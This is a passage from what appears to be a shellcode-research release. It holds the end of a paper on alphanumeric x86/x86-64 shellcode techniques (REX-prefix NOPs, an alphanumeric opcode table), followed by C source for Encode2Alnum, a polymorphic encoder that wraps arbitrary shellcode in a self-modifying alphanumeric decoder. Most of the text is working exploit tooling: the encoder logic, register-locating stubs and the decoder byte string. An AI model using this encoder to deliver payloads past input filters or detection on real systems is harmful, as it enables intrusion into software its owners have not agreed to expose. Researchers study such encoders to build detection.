Since it is no larger necessary to determine the address of the shellcode,
the stubs can be removed and anything referencing [edx+off] in the decoder
will be changed to [RIP+off]. It will make the shellcode larger since all
RIP offsets are 32-bit displacements, but it will make the shellcode
OS-independent.
+++ New IA-32e NOPs
1. For certain types of instructions the REX prefix is ignored. For these
cases, 0x41-0x4f can be used as NOPs. Some common shellcode cases are: POP
reg, POP mem, PUSH imm8, PUSH imm32, PUSH reg, PUSH mem, PUSH reg, RET,
CALL, JMP, Jcc (conditional jumps), LOOP, and LOOPcc.
When using the REX prefix as a NOP for alphanumeric shellcode, the PUSH,
POP, and Jcc instructions are usable. This was well covered in rix's paper.
2. Using the operand size prefix (0x66) with REX.W set (0x48, 0x49, 0x4a,
0x4b, 0x4c, 0x4d, 0x4e, 0x4f)
3. The actual value of the REX prefix byte can be varied without changing
the meaning for certain instructions. I'll call these REX NOPs.
REX.R is ignored when (1) there is no ModRM byte (2) ModRM.reg does not
specify a general purpose, XMM, control, or debug register. Note that for
alphanumeric shellcode, only instructions involving a general purpose
register are relevant.
REX.X are ignored when there is SIB byte
REX.B is ignored when there is no ModRM or SIB byte
4. Though it has no application to alphanumeric shellcode, some segment
override prefixes are ignored in 64-bit mode: 0x26, 0x2E, 0x36, 0x3E
(segment overrides for ES, CS, SS and DS, respectively)
Here is the alphanumeric instruction set that can utilize the REX prefix
(0x41-0x4f) as a NOP, sorted alphabetically:
JA disp8 = "w<disp8>" (any REX prefix)
JAE disp8 = "s<disp8>" (any REX prefix)
JB disp8 = "r<disp8>" (any REX prefix)
JBE disp8 = "v<disp8>" (any REX prefix)
JNZ disp8 = "u<disp8>" (any REX prefix)
JNO disp8 = "q<disp8>" (any REX prefix)
JNS disp8 = "y<disp8>" (any REX prefix)
JO disp8 = "p<disp8>" (any REX prefix)
JPE disp8 = "z<disp8>" (any REX prefix)
JS disp8 = "x<disp8>" (any REX prefix)
JZ disp8 = "t<disp8>" (any REX prefix)
POP eax = "X" (REX.W and REX.R should not be set)
POP ecx = "Y" (REX.W and REX.R should not be set)
POP edx = "Z" (REX.W and REX.R should not be set)
PUSH imm8 = "j<imm8>" (any REX prefix)
PUSH imm32 = "h<imm32>"
PUSH eax = "P"
PUSH ebx = "S"
PUSH ecx = "Q"
PUSH edx = "R"
PUSH esi = "V"
PUSH edi = "W"
PUSH ebp = "U"
PUSH esp = "T"
Note that for imm8, imm32, disp8, and disp32 all bytes need to be
alphanumeric. The imm32 and disp32 are stored with the least signature byte
first ("<bits0_7><bits8_15><bits16_23><bits24_31>").
When inserting a REX NOP in front of a particular instruction, the engine
should:
1. First, never generate REX prefixes of 0x41-0x47 ('A' to 'G'). This will
make cause problems in most cases.
2. Restrict the possible REX values depending on the instruction type.
3. Adjust the offsets in relative branch instructions. To account for the
inserted REX NOPs. If the offset is negative, decrement the offset by the
number of REX NOPs inserted before that location. If the offset is positive,
increment the offset by the number of REX NOPs inserted after that location.
+++ ACKNOWLEDGEMENTS
Greets always to gera, oded, and noir. Kudos to rix, Berend-Jan Wever,
spoonm, CLET, and the others that have/are raising the bar for alphanumeric
decoders.
+++ WORKS CITED
CLET Team. Aug. 2003. Polymorphic Shellcode Engine. Phrack
<http://www.phrack.org/show.php?p=61&a=9>.
Ionescu, Costin. 1 July 2003. Re: GetPC code (was: Shellcode from ASCII).
Vuln-Dev <http://www.securityfocus.com/archive/82/327348>
rix. Aug. 2001. Writing ia32 alphanumeric shellcodes. Phrack
<http://www.phrack.org/show.php?p=57&a=15>.
Wever, Berend-Jan. 28 Jan. 2001. Alphanumeric GetPC code. Vuln-Dev
<http://www.securityfocus.com/archive/82/351528>.
=== enc2alnum/enc2alnum.c
// Encode2Alnum (polymorphic alphanumeric decoder/encoder)
// Copyright (C) 2003-2004, Matt Conover, Avri Schneider and Soren Macbeth
#include "enc2alnum.h"
#define ENC2ALNUM_COPYRIGHT "enc2alnum: Copyright (C) 2003-2004,\nMatt
Conover, Avri Schneider, Soren Macbeth\n\n"
int reg_type; // eax, ebx, etc
int reg_indirect; // if set to 1, use [reg]; else use reg
int reg_offset; // if reg_negative is set, use reg-offset; else use
reg+offset
int reg_negative;
void Encode2AlnumUsage()
{
fprintf(stderr, ENC2ALNUM_COPYRIGHT);
fprintf(stderr, "ERROR in Encode2Alnum (invalid input_reg)\n\n");
fprintf(stderr, "input_reg must be one of the following:\n");
fprintf(stderr, " reg = the register points to the shellcode\n");
fprintf(stderr, "\tSupported registers are eax, ebx, ecx, edx, esi, edi,
ebp, esp\n");
fprintf(stderr, " [reg] = reg points to a pointer to the shellcode\n");
fprintf(stderr, "\tSupported registers are the same as above\n");
fprintf(stderr, " reg+X\n");
fprintf(stderr, " reg-x\n");
fprintf(stderr, " [reg+X]\n");
fprintf(stderr, " [reg-x]\n\n\n");
fprintf(stderr, "\tenc2alnum [eax]\n");
fprintf(stderr, "Example - Assumes ecx-8 is the shellcode address:\n");
fprintf(stderr, "\tenc2alnum ecx-8\n");
}
BOOL ParseShellcodeLocation(char *reg_input)
{
char *end_ptr, *orig_source, *source;
#ifndef TESTING
int i;
BYTE a;
#endif
if (!reg_input) return FALSE;
orig_source = source = strdup(reg_input);
if (source[0] == '[')
{
source++;
reg_indirect = 1;
}
if (toupper(source[0]) != 'E') goto abort;
source++;
source[0] = toupper(source[0]);
source[1] = toupper(source[1]);
if (strncmp(source, "AX", 2) == 0) reg_type = EAX;
else if (strncmp(source, "BX", 2) == 0) reg_type = EBX;
else if (strncmp(source, "CX", 2) == 0) reg_type = ECX;
else if (strncmp(source, "DX", 2) == 0) reg_type = EDX;
else if (strncmp(source, "SI", 2) == 0) reg_type = ESI;
else if (strncmp(source, "DI", 2) == 0) reg_type = EDI;
else if (strncmp(source, "SP", 2) == 0) reg_type = ESP;
else if (strncmp(source, "BP", 2) == 0) reg_type = EBP;
else goto abort;
source += 2;
if ((reg_indirect && *source == ']') || (!reg_indirect && !*source)) goto
finished;
if (*source == '-') reg_negative = 1;
else if (*source == '+') reg_negative = 0;
else goto abort;
source++;
for (end_ptr = source; *end_ptr && isdigit(*end_ptr); end_ptr++);
if (reg_indirect && *end_ptr != ']') goto abort;
else if (!reg_indirect && *end_ptr) goto abort;
*end_ptr = '\0';
reg_offset = atoi(source);
finished:
free(orig_source);
return TRUE;
abort:
if (orig_source) free(orig_source);
Encode2AlnumUsage();
return FALSE;
}
void UpdateOffsets(BYTE *Decoder, DWORD StubLength)
{
BYTE OffsetA = JNZ_VALUEA + (BYTE)StubLength;
BYTE OffsetB = JNZ_VALUEB + (BYTE)StubLength;
Decoder[JNZ_OFFSETA] = OffsetA;
Decoder[JNZ_OFFSETB_1] = OffsetB;
Decoder[JNZ_OFFSETB_2] = OffsetB;
Decoder[JNZ_OFFSETB_3] = OffsetB;
Decoder[JNZ_OFFSETB_4] = OffsetB;
Decoder[JNZ_OFFSETB_5] = OffsetB;
}
// For format of input_reg, see Encode2AlnumUsage
// NOTE: the caller must free the return value
BYTE *Encode2Alnum(char *input_reg, BYTE *OriginalShellcode, DWORD
OriginalShellcodeLength, BOOL Verbose)
{
DWORD StubLength, DecoderLength;
DWORD i, j, index = 0;
BYTE EncodedByte[2];
BYTE *InStub = NULL;
BOOL BadKey = TRUE;
BYTE *EncodedShellcode;
DWORD EncodedShellcodeLength;
#ifdef TESTING
BYTE OriginalByte;
BYTE *DecodedShellcode;
DWORD DecodedShellcodeLength;
#endif
if (!ParseShellcodeLocation(input_reg)) return NULL;
srand(GetTickCount());
StubLength = GetStubLength();
DecoderLength = strlen(g_Decoder);
EncodedShellcodeLength = StubLength + DecoderLength +
(OriginalShellcodeLength)*2 + 1;
EncodedShellcode = malloc(EncodedShellcodeLength+1);
if (!EncodedShellcode)
{
printf("Error allocating %d bytes\n", EncodedShellcodeLength+1);
return NULL;
}
while (BadKey)
{
memset(EncodedShellcode, 0, EncodedShellcodeLength+1);
if (StubLength > 0 && !CopyStub(EncodedShellcode, StubLength)) return
NULL;
if (!RandomizeDecoder(g_Decoder, DecoderLength)) return NULL;
UpdateOffsets(g_Decoder, StubLength); // TODO: remove
// Copy decoder after stub
memcpy(EncodedShellcode+StubLength, g_Decoder, DecoderLength);
// Check stub and decoder
for (i = 0; EncodedShellcode[i]; i++)
{
if (!isalnum(EncodedShellcode[i]))
{
fprintf(stderr, "ERROR: offset %d of stub+decoder != alphanumeric\n",
i);
assert(0);
return NULL;
}
}
memset(EncodingCounts, 0, 256);
for (i = 0; i < 256; i++) ComputeEncodingCount((BYTE)i);
index = strlen(EncodedShellcode);
EncodedByte[0] = EncodedByte[1] = 0;
for (i = 0, j = 0, BadKey = FALSE; i < OriginalShellcodeLength; i++, j +=
2)
{
#ifdef TESTING
OriginalByte = OriginalShellcode[i];
#endif
if (!EncodeTo2Bytes(OriginalShellcode[i], EncodedByte))
{
BadKey = TRUE;
break;
}
assert(isalnum(EncodedByte[0]) && isalnum(EncodedByte[1]));
EncodedShellcode[index+j] = EncodedByte[0];
EncodedShellcode[index+j+1] = EncodedByte[1];
#ifdef TESTING
assert(DecodeToByte(EncodedByte) == OriginalByte);
#endif
}
// If BadKey was not reset it will fall out of the loop
}
EncodedShellcode[index+j] = Terminator;
assert(index+j+1 == EncodedShellcodeLength);
if (Verbose)
{
printf("BYTE EncodedShellcode[] = // encoded %d bytes\n\t\"",
EncodedShellcode, OriginalShellcodeLength);
for (i = 0; i < EncodedShellcodeLength; i++)
{
printf("%c", (BYTE)EncodedShellcode[i]);
if (!((i + 1) % 64)) printf("\"\n\t\"");
}
printf("\";\n\n");
}
#ifndef TESTING
// Check stub+decoder+encodedshellcode
for (i = 0; EncodedShellcode[i]; i++)
{
if (!isalnum(EncodedShellcode[i]))
{
fprintf(stderr, "ERROR: EncodedShellcode[%d] = 0x%02x (not
alphanumeric)\n", i, EncodedShellcode[i]);
assert(0);
return NULL;
}
}
assert(i == EncodedShellcodeLength);
#endif
#ifdef TESTING
TestStubs(EncodedShellcode);
DecodedShellcodeLength = EncodedShellcodeLength - DecoderLength;
DecodedShellcodeLength /= 2;
if (Verbose) printf("\nDecoded %d bytes to %d bytes\n",
EncodedShellcodeLength, DecodedShellcodeLength);
assert(OriginalShellcodeLength == DecodedShellcodeLength);
DecodedShellcode = (BYTE *)malloc(DecodedShellcodeLength+1);
if (!DecodedShellcode)
{
printf("Failed to allocate %d bytes\n", DecodedShellcodeLength+1);
return -1;
}
memset(DecodedShellcode, 0, DecodedShellcodeLength+1);
memcpy(DecodedShellcode, EncodedShellcode+DecoderLength,
DecodedShellcodeLength);
if (Verbose)
{
printf("BYTE DecodedShellcode[%d] =\n\t\"", DecodedShellcodeLength);
for (i = 0; i < DecodedShellcodeLength; i++)
{
printf("\\x%02x", (BYTE)DecodedShellcode[i]);
if (!((i + 1) % 16)) printf("\"\n\t\"");
}
printf("\";\n");
}
assert(DecodedShellcodeLength == OriginalShellcodeLength);
assert(memcmp(DecodedShellcode, OriginalShellcode, OriginalShellcodeLength)
== 0);
free(DecodedShellcode);
#endif
return EncodedShellcode;
}
=== enc2alnum/enc2alnum.h
// Encode2Alnum (polymorphic alphanumeric decoder/encoder)
// Copyright (C) 2003-2004, Matt Conover, Avri Schneider and Soren Macbeth
#ifndef ENC2ALNUM_H
#define ENC2ALNUM_H
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <assert.h>
#include <time.h>
typedef struct _REG_STUB
{
BYTE RegType;
BYTE *DirectStub;
BYTE *PreDirectPositiveOffsetStub;
BYTE DirectPositiveOffsetOpcode;
BYTE *PostDirectPositiveOffsetStub;
BYTE *PreDirectNegativeOffsetStub;
BYTE DirectNegativeOffsetOpcode;
BYTE *PostDirectNegativeOffsetStub;
BYTE *IndirectStub;
BYTE *PreIndirectPositiveOffsetStub;
BYTE IndirectPositiveOffsetOpcode;
BYTE *PostIndirectPositiveOffsetStub;
BYTE *PreIndirectNegativeOffsetStub;
BYTE IndirectNegativeOffsetOpcode;
BYTE *PostIndirectNegativeOffsetStub;
} REG_STUB;
#define INVALID 0
#define HARDCODED 9
#define EAX 1
#define EBX 2
#define ECX 3
#define EDX 4
#define ESI 5
#define EDI 6
#define ESP 7
#define EBP 8
typedef struct _RANDOMIZER
{
BYTE RandomizeKey;
DWORD Extra; // total size to randomize excluding RandomizeKey
BOOL ReplaceNextMatch; // find the next RandomizeKey starting
RandomizeKey+Extra
// and repeat (used for XOR to 0 trick where the
values must match)
BYTE *CharacterSet; // must be null terminated
} RANDOMIZER;
#define RANDOM_ALNUM() ((rand() % 'z') + '0')
#define ALNUM_CHARSET
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
#define INDIRECT_CHARSET "PQRSTUVW"
#define KEY_OFFSET (strlen(g_Decoder)-31)
#define TERMINATOR_OFFSET (strlen(g_Decoder)-6)
#define KEY '
' // RandomizeKey for key
#define TERMINATOR '_' // RandomizeKey for terminator
#define JNZ_VALUEA 0x35
#define JNZ_VALUEB 0x36
#define JNZ_OFFSETA (strlen(g_Decoder)-37)
#define JNZ_OFFSETB_1 (strlen(g_Decoder)-3)
#define JNZ_OFFSETB_2 (strlen(g_Decoder)-20)
#define JNZ_OFFSETB_3 (strlen(g_Decoder)-23)
#define JNZ_OFFSETB_4 (strlen(g_Decoder)-27)
#define JNZ_OFFSETB_5 (strlen(g_Decoder)-32)
////////////////////////////////////////////////////////////////////////////
// Instructions
#define INC_EBX 'C'
#define INC_ECX 'A'
#define INC_EDX 'B'
#define INC_ESI 'F'
#define INC_EDI 'G'
#define INC_EBP 'E'
#define INC_ESP 'D'
#define DEC_EAX 'H'
#define DEC_EBX 'K'
#define DEC_ECX 'I'
#define DEC_EDX 'J'
#define DEC_ESI 'N'
#define DEC_EDI 'O'
#define DEC_EBP 'M'
#define DEC_ESP 'L'
////////////////////////////////////////////////////////////////////////////
void ComputeEncodingCount(BYTE OriginalByte);
#ifdef TESTING
void TestStubs(BYTE *EncodedShellcode);
BYTE DecodeToByte(BYTE *EncodedByte);
#endif
BOOL EncodeTo2Bytes(BYTE OriginalByte, BYTE *EncodedByte);
void RandomizeStub(BYTE *Stub, DWORD StubLength);
BOOL RandomizeDecoder(BYTE *Buffer, DWORD Length);
int GetStubLength();
BOOL CopyStub(BYTE *OutEncodedShellcode, DWORD StubLength);
BYTE *Encode2Alnum(char *input_reg, BYTE *OriginalShellcode, DWORD
OriginalShellcodeLength, BOOL Verbose);
////////////////////////////////////////////////////////////////////////////
extern BYTE Key;
extern BYTE Terminator;
extern BYTE g_Decoder[];
extern BYTE *EncodedShellcode;
extern DWORD EncodedShellcodeLength;
extern BYTE EncodingCounts[256];
extern int hardcoded_address;
extern int reg_type;
extern int reg_indirect;
extern int reg_offset;
extern int reg_negative;
extern BYTE HardcodedAddressStub[];
extern BYTE HardcodedAddressIndirectStub[];
extern BYTE EAXStub[];
extern BYTE EBXStub[];
extern BYTE ECXStub[];
extern BYTE EDXStub[];
extern BYTE ESIStub[];
extern BYTE EDIStub[];
extern BYTE EBPStub[];
extern BYTE ESPStub[];
extern BYTE PreEAXPositiveOffsetStub[];
extern BYTE PreEBXPositiveOffsetStub[];
extern BYTE PreECXPositiveOffsetStub[];
extern BYTE PreEDXPositiveOffsetStub[];
extern BYTE PreESIPositiveOffsetStub[];
extern BYTE PreEDIPositiveOffsetStub[];
extern BYTE PreEBPPositiveOffsetStub[];
extern BYTE PreESPPositiveOffsetStub[];
extern BYTE PostEAXPositiveOffsetStub[];
extern BYTE PostEBXPositiveOffsetStub[];
extern BYTE PostECXPositiveOffsetStub[];
extern BYTE PostEDXPositiveOffsetStub[];
extern BYTE PostESIPositiveOffsetStub[];
extern BYTE PostEDIPositiveOffsetStub[];
extern BYTE PostEBPPositiveOffsetStub[];
extern BYTE PostESPPositiveOffsetStub[];
extern BYTE PreEAXNegativeOffsetStub[];
extern BYTE PreEBXNegativeOffsetStub[];
extern BYTE PreECXNegativeOffsetStub[];
extern BYTE PreEDXNegativeOffsetStub[];
extern BYTE PreESINegativeOffsetStub[];
extern BYTE PreEDINegativeOffsetStub[];
extern BYTE PreEBPNegativeOffsetStub[];
extern BYTE PreESPNegativeOffsetStub[];
extern BYTE PostEAXNegativeOffsetStub[];
extern BYTE PostEBXNegativeOffsetStub[];
extern BYTE PostECXNegativeOffsetStub[];
extern BYTE PostEDXNegativeOffsetStub[];
extern BYTE PostESINegativeOffsetStub[];
extern BYTE PostEDINegativeOffsetStub[];
extern BYTE PostEBPNegativeOffsetStub[];
extern BYTE PostESPNegativeOffsetStub[];
extern BYTE EAXIndirectStub[];
extern BYTE EBXIndirectStub[];
extern BYTE ECXIndirectStub[];
extern BYTE EDXIndirectStub[];
extern BYTE ESIIndirectStub[];
extern BYTE EDIIndirectStub[];
extern BYTE EBPIndirectStub[];
extern BYTE ESPIndirectStub[];
extern BYTE PreEAXIndirectPositiveOffsetStub[];
extern BYTE PreEBXIndirectPositiveOffsetStub[];
extern BYTE PreECXIndirectPositiveOffsetStub[];
extern BYTE PreEDXIndirectPositiveOffsetStub[];
extern BYTE PreESIIndirectPositiveOffsetStub[];
extern BYTE PreEDIIndirectPositiveOffsetStub[];
extern BYTE PreEBPIndirectPositiveOffsetStub[];
extern BYTE PreESPIndirectPositiveOffsetStub[];
extern BYTE PostEAXIndirectPositiveOffsetStub[];
extern BYTE PostEBXIndirectPositiveOffsetStub[];
extern BYTE PostECXIndirectPositiveOffsetStub[];
extern BYTE PostEDXIndirectPositiveOffsetStub[];
extern BYTE PostESIIndirectPositiveOffsetStub[];
extern BYTE PostEDIIndirectPositiveOffsetStub[];
extern BYTE PostEBPIndirectPositiveOffsetStub[];
extern BYTE PostESPIndirectPositiveOffsetStub[];
extern BYTE PreEAXIndirectNegativeOffsetStub[];
extern BYTE PreEBXIndirectNegativeOffsetStub[];
extern BYTE PreECXIndirectNegativeOffsetStub[];
extern BYTE PreEDXIndirectNegativeOffsetStub[];
extern BYTE PreESIIndirectNegativeOffsetStub[];
extern BYTE PreEDIIndirectNegativeOffsetStub[];
extern BYTE PreEBPIndirectNegativeOffsetStub[];
extern BYTE PreESPIndirectNegativeOffsetStub[];
extern BYTE PostEAXIndirectNegativeOffsetStub[];
extern BYTE PostEBXIndirectNegativeOffsetStub[];
extern BYTE PostECXIndirectNegativeOffsetStub[];
extern BYTE PostEDXIndirectNegativeOffsetStub[];
extern BYTE PostESIIndirectNegativeOffsetStub[];
extern BYTE PostEDIIndirectNegativeOffsetStub[];
extern BYTE PostEBPIndirectNegativeOffsetStub[];
extern BYTE PostESPIndirectNegativeOffsetStub[];
#endif // ENC2ALNUM_H
=== enc2alnum/decoder.c
// Encode2Alnum (polymorphic alphanumeric decoder/encoder)
// Copyright (C) 2003-2004, Matt Conover, Avri Schneider and Soren Macbeth
#include "enc2alnum.h"
/*
// edx points to shellcode start
Z 01: pop edx
// set eax to 0xffffffff
h!!!! 02: push XORA
X 03: pop eax
5!!!! 04: xor eax,XORA
H 05: dec eax
// change line 22 to jnz
4C 06: xor al,43h
0B6 07: xor byte ptr [edx+36h],al
// set ecx to point to shellcode
R 08: push edx
Y 09: pop ecx
kA7
10: imul eax,dword ptr [ecx+37h],KEY
A 11: inc ecx
3A7 12: xor eax,dword ptr [ecx+37h]
A 13: inc ecx
2B7 14: xor al,byte ptr [edx+37h]
0B7 15: xor byte ptr [edx+37h],al
B 16: inc edx
h!!!! 17: push XORB
X 18: pop eax
5!!!! 19: xor eax,XORB
4_ 20: xor al,TERMINATOR
8A7 21: cmp byte ptr [ecx+37h],al
ub 22: jne _OriginalShellcode+5Eh // changed by lines 4 and 5
_ = terminator
= key
!!!! = XOR_VALUES
*/
// 555554444444444333333333322222222221111111111000000000
// 432109876543210987654321098765432109876543210987654321
BYTE g_Decoder[] = "Zh!!!!X5!!!!H4C0B6RYkA7
A3A7A2B70B7Bh!!!!X5!!!!4_8A7ub";
BYTE EncodingCounts[256];
// Count how many possible encodings there are
void ComputeEncodingCount(BYTE OriginalByte)
{
BYTE EncodedByte1, EncodedByte2, OriginalByte2;
int matched = 0;
for (EncodedByte1 = '0'; EncodedByte1 <= 'z'; EncodedByte1++)
{
if (!isalnum(EncodedByte1) || (EncodedByte1 == Terminator)) continue;
for (EncodedByte2 = '0'; EncodedByte2 <= 'z'; EncodedByte2++)
{
if (!isalnum(EncodedByte2) || (EncodedByte2 == Terminator)) continue;
OriginalByte2 = EncodedByte1 * Key;
OriginalByte2 ^= EncodedByte2;
if (OriginalByte == OriginalByte2) matched++;
}
}
EncodingCounts[OriginalByte] = matched;
}
#ifdef TESTING
BYTE DecodeToByte(BYTE *EncodedByte)
{
BYTE DecodedByte;
DecodedByte = EncodedByte[0] * Key;
DecodedByte ^= EncodedByte[1];
return DecodedByte;
}
#endif
BOOL EncodeTo2Bytes(BYTE OriginalByte, BYTE *EncodedByte)
{
BYTE EncodedByte1, EncodedByte2, OriginalByte2;
int matched = 0, randcount;
if (!EncodingCounts[OriginalByte])
{
fprintf(stderr, "Can't encode 0x%02x\n", OriginalByte);
return FALSE;
}
// Chose a random encoding for this byte
randcount = rand() % EncodingCounts[OriginalByte] + 1;
for (EncodedByte1 = '0'; EncodedByte1 <= 'z'; EncodedByte1++)
{
if (!isalnum(EncodedByte1) || (EncodedByte1 == Terminator)) continue;
for (EncodedByte2 = '0'; EncodedByte2 <= 'z'; EncodedByte2++)
{
if (!isalnum(EncodedByte2) || (EncodedByte2 == Terminator)) continue;
OriginalByte2 = EncodedByte1 * Key;
OriginalByte2 ^= EncodedByte2;
if (OriginalByte == OriginalByte2)
{
matched++;
if (matched != randcount) continue;
EncodedByte[0] = EncodedByte1;
EncodedByte[1] = EncodedByte2;
return TRUE;
}
}
}
return FALSE;
}
=== enc2alnum/stubs.c
// Encode2Alnum (polymorphic alphanumeric decoder/encoder)
// Copyright (C) 2003-2004, Matt Conover, Avri Schneider and Soren Macbeth
#include <windows.h>
#include "enc2alnum.h"
DWORD StubIndex;
REG_STUB g_Stubs[] =
{
{ EAX,
EAXStub,
PreEAXPositiveOffsetStub, INC_ECX, PostEAXPositiveOffsetStub,
PreEAXNegativeOffsetStub, DEC_EAX, PostEAXNegativeOffsetStub,
EAXIndirectStub,
PreEAXIndirectPositiveOffsetStub, INC_ECX,
PostEAXIndirectPositiveOffsetStub,
PreEAXIndirectNegativeOffsetStub, DEC_EAX,
PostEAXIndirectNegativeOffsetStub
},
{ EBX,
EBXStub,
PreEBXPositiveOffsetStub, INC_EBX, PostEBXPositiveOffsetStub,
PreEBXNegativeOffsetStub, DEC_EBX, PostEBXNegativeOffsetStub,
EBXIndirectStub,
PreEBXIndirectPositiveOffsetStub, INC_EBX,
PostEBXIndirectPositiveOffsetStub,
PreEBXIndirectNegativeOffsetStub, DEC_EBX,
PostEBXIndirectNegativeOffsetStub
},
{ ECX,
ECXStub,
PreECXPositiveOffsetStub, INC_ECX, PostECXPositiveOffsetStub,
PreECXNegativeOffsetStub, DEC_ECX, PostECXNegativeOffsetStub,
ECXIndirectStub,
PreECXIndirectPositiveOffsetStub, INC_ECX,
PostECXIndirectPositiveOffsetStub,
PreECXIndirectNegativeOffsetStub, DEC_ECX,
PostECXIndirectNegativeOffsetStub
},
{ EDX,
EDXStub,
PreEDXPositiveOffsetStub, INC_EDX, PostEDXPositiveOffsetStub,
PreEDXNegativeOffsetStub, DEC_EDX, PostEDXNegativeOffsetStub,
EDXIndirectStub,
PreEDXIndirectPositiveOffsetStub, INC_EDX,
PostEDXIndirectPositiveOffsetStub,
PreEDXIndirectNegativeOffsetStub, DEC_EDX,
PostEDXIndirectNegativeOffsetStub
},
{ ESI,
ESIStub,
PreESIPositiveOffsetStub, INC_ESI, PostESIPositiveOffsetStub,
PreESINegativeOffsetStub, DEC_ESI, PostESINegativeOffsetStub,
ESIIndirectStub,
PreESIIndirectPositiveOffsetStub, INC_ESI,
PostESIIndirectPositiveOffsetStub,
PreESIIndirectNegativeOffsetStub, DEC_ESI,
PostESIIndirectNegativeOffsetStub
},
{ EDI,
EDIStub,
PreEDIPositiveOffsetStub, INC_EDI, PostEDIPositiveOffsetStub,
PreEDINegativeOffsetStub, DEC_EDI, PostEDINegativeOffsetStub,
EDIIndirectStub,
PreEDIIndirectPositiveOffsetStub, INC_EDI,
PostEDIIndirectPositiveOffsetStub,
PreEDIIndirectNegativeOffsetStub, DEC_EDI,
PostEDIIndirectNegativeOffsetStub
},
{ EBP,
EBPStub,
PreEBPPositiveOffsetStub, INC_EBP, PostEBPPositiveOffsetStub,
PreEBPNegativeOffsetStub, DEC_EBP, PostEBPNegativeOffsetStub,
EBPIndirectStub,
PreEBPIndirectPositiveOffsetStub, INC_EBP,
PostEBPIndirectPositiveOffsetStub,
PreEBPIndirectNegativeOffsetStub, DEC_EBP,
PostEBPIndirectNegativeOffsetStub
},
{ ESP,
ESPStub,
PreESPPositiveOffsetStub, INC_ESP, PostESPPositiveOffsetStub,
PreESPNegativeOffsetStub, DEC_ESP, PostESPNegativeOffsetStub,
ESPIndirectStub,
PreESPIndirectPositiveOffsetStub, INC_ESP,
PostESPIndirectPositiveOffsetStub,
PreESPIndirectNegativeOffsetStub, DEC_ESP,
PostESPIndirectNegativeOffsetStub
},
{ HARDCODED,
HardcodedAddressStub,
NULL, 0, NULL,
NULL, 0, NULL,
HardcodedAddressIndirectStub,
NULL, 0, NULL,
NULL, 0, NULL
},
// Last entry
{ INVALID,
NULL,
NULL, 0, NULL,
NULL, 0, NULL,
NULL,
NULL, 0, NULL,
NULL, 0, NULL
}
};
// Handle case that address points to shellcode
// hardcoded_address != 0, reg_type = 0
BYTE HardcodedAddressStub[] = "hADDR";
// Handle case that address points to a pointer to shellcode
// hardcoded_address != 0, reg_type = 0
BYTE HardcodedAddressIndirectStub[] = "hADDRYQh!!!!X*****P*a30VX5!!!!P";
// Handle case that reg points to shellcode
// reg_indirect = 0 and reg_offset = 0
// reg
BYTE EAXStub[] = "P"; // push eax
BYTE EBXStub[] = "S"; // push ebx
BYTE ECXStub[] = "Q"; // push ecx
BYTE EDXStub[] = "R"; // push edx
BYTE ESIStub[] = "V"; // push esi
BYTE EDIStub[] = "W"; // push edi
BYTE EBPStub[] = "U"; // push ebp
BYTE ESPStub[] = "T"; // push esp
// Handle case that [reg] points to shellcode
// reg_indirect and reg_offset = 0
// [reg]
BYTE EAXIndirectStub[] = "Ph!!!!X*****P*a30VX5!!!!P";
BYTE EBXIndirectStub[] = "Sh!!!!X*****P*a30VX5!!!!P";
BYTE ECXIndirectStub[] = "Qh!!!!X*****P*a30VX5!!!!P";
BYTE EDXIndirectStub[] = "Rh!!!!X*****P*a30VX5!!!!P";
BYTE ESIIndirectStub[] = "Vh!!!!X*****P*a30VX5!!!!P";
BYTE EDIIndirectStub[] = "Wh!!!!X*****P*a30VX5!!!!P";
BYTE EBPIndirectStub[] = "Uh!!!!X*****P*a30VX5!!!!P";
BYTE ESPIndirectStub[] = ""; // no more is needed
// Handle case that reg+offset points to shellcode
// reg_indirect = 0 and reg_offset > 0 and reg_negative = 0
// reg+off
BYTE PreEAXPositiveOffsetStub[] = "PY"; // inc eax is not possible, so do
push eax; pop ecx
BYTE PreEBXPositiveOffsetStub[] = ""; // no more is needed
BYTE PreECXPositiveOffsetStub[] = ""; // no more is needed
BYTE PreEDXPositiveOffsetStub[] = ""; // no more is needed
BYTE PreESIPositiveOffsetStub[] = ""; // no more is needed
BYTE PreEDIPositiveOffsetStub[] = ""; // no more is needed
BYTE PreEBPPositiveOffsetStub[] = ""; // no more is needed
BYTE PreESPPositiveOffsetStub[] = ""; // no more is needed
BYTE PostEAXPositiveOffsetStub[] = "Q"; // do push ecx
BYTE PostEBXPositiveOffsetStub[] = "S"; // no more is needed
BYTE PostECXPositiveOffsetStub[] = "Q"; // no more is needed
BYTE PostEDXPositiveOffsetStub[] = "R"; // no more is needed
BYTE PostESIPositiveOffsetStub[] = "V"; // no more is needed
BYTE PostEDIPositiveOffsetStub[] = "W"; // no more is needed
BYTE PostEBPPositiveOffsetStub[] = "U"; // no more is needed
BYTE PostESPPositiveOffsetStub[] = "T"; // no more is needed
// Handle case that reg-offset points to shellcode
// reg_indirect = 0 and reg_offset > 0 and reg_negative = 1
// reg-off
BYTE PreEAXNegativeOffsetStub[] = ""; // no more is needed
BYTE PreEBXNegativeOffsetStub[] = ""; // no more is needed
BYTE PreECXNegativeOffsetStub[] = ""; // no more is needed
BYTE PreEDXNegativeOffsetStub[] = ""; // no more is needed
BYTE PreESINegativeOffsetStub[] = ""; // no more is needed
BYTE PreEDINegativeOffsetStub[] = ""; // no more is needed
BYTE PreEBPNegativeOffsetStub[] = ""; // no more is needed
BYTE PreESPNegativeOffsetStub[] = ""; // no more is needed
BYTE PostEAXNegativeOffsetStub[] = "P";
BYTE PostEBXNegativeOffsetStub[] = "S";
BYTE PostECXNegativeOffsetStub[] = "Q";
BYTE PostEDXNegativeOffsetStub[] = "R";
BYTE PostESINegativeOffsetStub[] = "V";
BYTE PostEDINegativeOffsetStub[] = "W";
BYTE PostEBPNegativeOffsetStub[] = "U";
BYTE PostESPNegativeOffsetStub[] = "T"; // this needs special handling
// Handle case that reg+offset points to shellcode
// reg_indirect = 1 and reg_offset > 0 and reg_negative = 0
// [reg+off]
BYTE PreEAXIndirectPositiveOffsetStub[] = "PY"; // inc eax is not
alphanumeric, so do push eax; pop ecx
BYTE PreEBXIndirectPositiveOffsetStub[] = ""; // no more is needed
BYTE PreECXIndirectPositiveOffsetStub[] = ""; // no more is needed
BYTE PreEDXIndirectPositiveOffsetStub[] = ""; // no more is needed
BYTE PreESIIndirectPositiveOffsetStub[] = ""; // no more is needed
BYTE PreEDIIndirectPositiveOffsetStub[] = ""; // no more is needed
